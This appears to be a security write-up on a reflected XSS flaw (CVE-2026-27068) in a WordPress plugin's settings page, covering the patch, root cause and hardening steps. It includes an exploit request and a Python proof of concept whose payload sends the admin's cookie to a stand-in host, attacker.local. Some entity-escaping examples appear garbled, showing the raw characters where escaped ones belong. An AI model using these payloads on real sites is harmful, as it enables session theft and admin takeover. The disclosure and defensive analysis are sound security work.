The Exploit
An unauthenticated attacker can inject arbitrary JavaScript into the WordPress admin panel by crafting a malicious link containing a <script> tag in the tab GET parameter.
GET /wp-admin/admin.php?page=llms_txt_settings&tab="><script>alert('XSS')</script><div%20class=" HTTP/1.1
Host: target-wordpress.local
User-Agent: Mozilla/5.0
Connection: close
When a logged-in admin clicks this link, the injected script executes in their browser with full admin context. The attacker observes the alert box firing in the browser console, confirming script execution. A real attack payload would steal the admin's session cookie, create a backdoor user, or modify plugin settings.
import requests
import urllib.parse
target = "http://target-wordpress.local"
payload = '"><script>fetch("http://attacker.local/log?cookie="+document.cookie)</script><div class="'
url = f"{target}/wp-admin/admin.php"
params = {
"page": "llms_txt_settings",
"tab": payload
}
response = requests.get(url, params=params)
print(f"[+] Status: {response.status_code}")
print(f"[+] Payload reflected at tab parameter")
print(f"[+] XSS sink: <div class=\"{payload}\">")
The vulnerability does not require authentication to craft the exploit, but requires social engineering a logged-in admin to click the malicious link for the payload to execute with their privileges.
What the Patch Did
Before:
// Line 357
$tab = filter_input(INPUT_GET, 'tab');
// ...
<div class="card <?php echo $tab; ?>">
// Line 200
<input type="hidden" name="llms_generator_settings[<?= $key ?>][]" value="<?= $second_value ?>"/>
// Line 317
<textarea name="llms_generator_settings[llms_txt_title]" style="width: 100%;height: 40px;"><?php echo (isset($settings['llms_txt_title']) ? $settings['llms_txt_title'] : '') ?></textarea>
After:
// Line 357
<?php $tab = sanitize_key(filter_input(INPUT_GET, 'tab')); ?>
// ...
<div class="card <?php echo esc_attr(sanitize_key($tab)); ?>">
// Line 200
<input type="hidden" name="llms_generator_settings[<?= esc_attr($key) ?>][]" value="<?= esc_attr($second_value) ?>"/>
// Line 317
<textarea name="llms_generator_settings[llms_txt_title]" style="width: 100%;height: 40px;"><?php echo esc_textarea($settings['llms_txt_title'] ?? '') ?></textarea>
The patch applied two security controls in depth: first, sanitize_key() strips malicious input at the entry point (INPUT_GET), treating the tab parameter as an enumerated key rather than free-form text; second, esc_attr() escapes the value at the output sink, converting < to < and " to ". Similar escaping was added across fourteen additional lines using esc_attr() for HTML attributes and esc_textarea() for textarea content, replacing raw echo statements that had no protection.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The tab GET parameter is read via filter_input(INPUT_GET, 'tab') on line 357, which performs type coercion but no validation. The value flows directly into the echo statement on line 357, crossing the trust boundary from HTTP request to HTML output without escaping. Because the output lands inside a class attribute (<div class="<?php echo $tab; ?>">), an attacker can break out of the attribute context using a quote-and-angle-bracket sequence (">), inject arbitrary HTML and JavaScript, and close the div with a malformed opening tag to hide syntax errors. The same pattern repeats across fourteen locations where $key, $second_value, and $settings['llms_txt_title'] are echoed into HTML contexts without escaping.
Why It Works
The load-bearing fix is esc_attr() at the output sink — it is the final, non-negotiable barrier that converts attacker payloads into harmless HTML entities. Without it, all upstream sanitization fails because sanitize_key() alone does not prevent XSS; it only normalizes the key format. If you removed the esc_attr() call but kept sanitize_key(), an attacker could still inject via the tab parameter if they used payload syntax that survives key sanitization (e.g., a numeric or alphanumeric suffix). The engineer added both functions because defense-in-depth means: (1) sanitize at input to reduce attack surface, (2) escape at output to guarantee safety regardless of what upstream sanitization missed. esc_attr() is the true kill switch; sanitize_key() is hygiene.
Hardening Checklist
-
Use
esc_attr(),esc_html(), oresc_textarea()for every dynamic output, selected by context (attribute, text node, textarea). Never use bareechoin templates. Enable WordPress escaping linters like PHPCS with the WordPress coding standard to catch violations automatically. -
Apply
sanitize_key(),sanitize_text_field(), orintval()at input entry points for allfilter_input()calls. Treat GET/POST as hostile even if the value is later output-escaped — defense-in-depth requires both layers. -
Audit all fourteen XSS locations identified in the patch across the plugin codebase. Run a grep for
echo \$andecho escto find escaping patterns and manually verify each line against the output context (HTML, attribute, URL, JavaScript). -
Add a Content Security Policy (CSP) header (
Content-Security-Policy: script-src 'self') in the WordPress admin to block inline script execution as a final fallback, reducing blast radius if output escaping is forgotten. -
Test XSS payloads during development by creating unit tests that inject
"><script>alert(1)</script>and verify it renders as"><script>alert(1)</script>in HTML output, not as executable code.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-27068
- https://www.wordfence.com/threat-intel/vulnerabilities/id/cve-2026-27068